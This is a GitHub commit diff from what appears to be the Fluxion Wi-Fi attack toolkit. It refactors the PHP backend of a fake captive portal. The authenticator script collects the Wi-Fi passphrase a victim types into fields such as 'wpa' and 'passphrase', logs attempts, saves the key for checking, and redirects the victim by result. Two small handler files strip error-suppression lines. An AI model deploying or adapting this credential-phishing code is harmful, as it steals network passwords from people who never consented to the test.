Merge pull request #79 from Geczy/phpfix

PHP Tweak
This commit is contained in:
Matias Barcenas 2017-08-16 14:08:52 -05:00 committed by GitHub
commit a01a5b4d20
3 changed files with 19 additions and 25 deletions

View File

@ -1,23 +1,24 @@
<?php <?php
// Receive get & post data and store to variables error_reporting(0);
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
$key = false;
foreach ($candidateKeyFields as $candidateKeyField) { /*
if (array_key_exists($candidateKeyField, $_POST)) { The following represents the authenticator result.
$key = $_POST[$candidateKeyField]; break; By default, we assume the password is incorrect.
}
}
# The following represents the authenticator result. Notice: This variable is used by files including
# By default, we assume the password is incorrect. this script, and by the authenticator itself below.
# Notice: This variable is used by files including */
# this script, and by the authenticator itself below.
$candidate_code = 0; $candidate_code = 0;
# If the key wasn't sent with the post request, // Receive get & post data and store to variables
# don't even bother starting the authenticator. $candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
if (!$key) return 1; $matches = array_intersect_key($_POST, array_flip($candidateKeyFields))
// Retrieve just the first matched value
$key = reset($matches);
// No password was given
if(empty($key)) return;
// Update hit attempts // Update hit attempts
$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt"); $page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
@ -35,7 +36,7 @@
fwrite($attempt_log, "\n"); fwrite($attempt_log, "\n");
fclose($attempt_log); fclose($attempt_log);
# Write candidate key to file to prep for checking. // Write candidate key to file to prep for checking.
$candidate = fopen($candidate_path, "w"); $candidate = fopen($candidate_path, "w");
fwrite($candidate, $key); fwrite($candidate, $key);
fwrite($candidate, "\n"); fwrite($candidate, "\n");
@ -43,7 +44,7 @@
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt"; $candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
# Create candidate result file to trigger checking. // Create candidate result file to trigger checking.
$candidate_result = fopen($candidate_result_path, "w"); $candidate_result = fopen($candidate_result_path, "w");
fwrite($candidate_result,"\n"); fwrite($candidate_result,"\n");
fclose($candidate_result); fclose($candidate_result);
@ -53,6 +54,5 @@
$candidate_code = trim(file_get_contents($candidate_result_path)); $candidate_code = trim(file_get_contents($candidate_result_path));
} while (!ctype_digit($candidate_code)); } while (!ctype_digit($candidate_code));
# Reset file by deleting it. // Reset file by deleting it.
unlink($candidate_result_path); unlink($candidate_result_path);
?>

View File

@ -1,6 +1,4 @@
<?php <?php
error_reporting(0);
require_once("authenticator.php"); require_once("authenticator.php");
switch ($candidate_code) { switch ($candidate_code) {
@ -8,4 +6,3 @@
case "2": header("Location:final.html"); break; case "2": header("Location:final.html"); break;
default: header("Location:error.html"); break; default: header("Location:error.html"); break;
} }
?>

View File

@ -1,6 +1,4 @@
<?php <?php
error_reporting(0);
require_once("authenticator.php"); require_once("authenticator.php");
switch ($candidate_code) { switch ($candidate_code) {
@ -8,4 +6,3 @@
case "2": echo "true"; break; case "2": echo "true"; break;
default: echo "false"; break; default: echo "false"; break;
} }
?>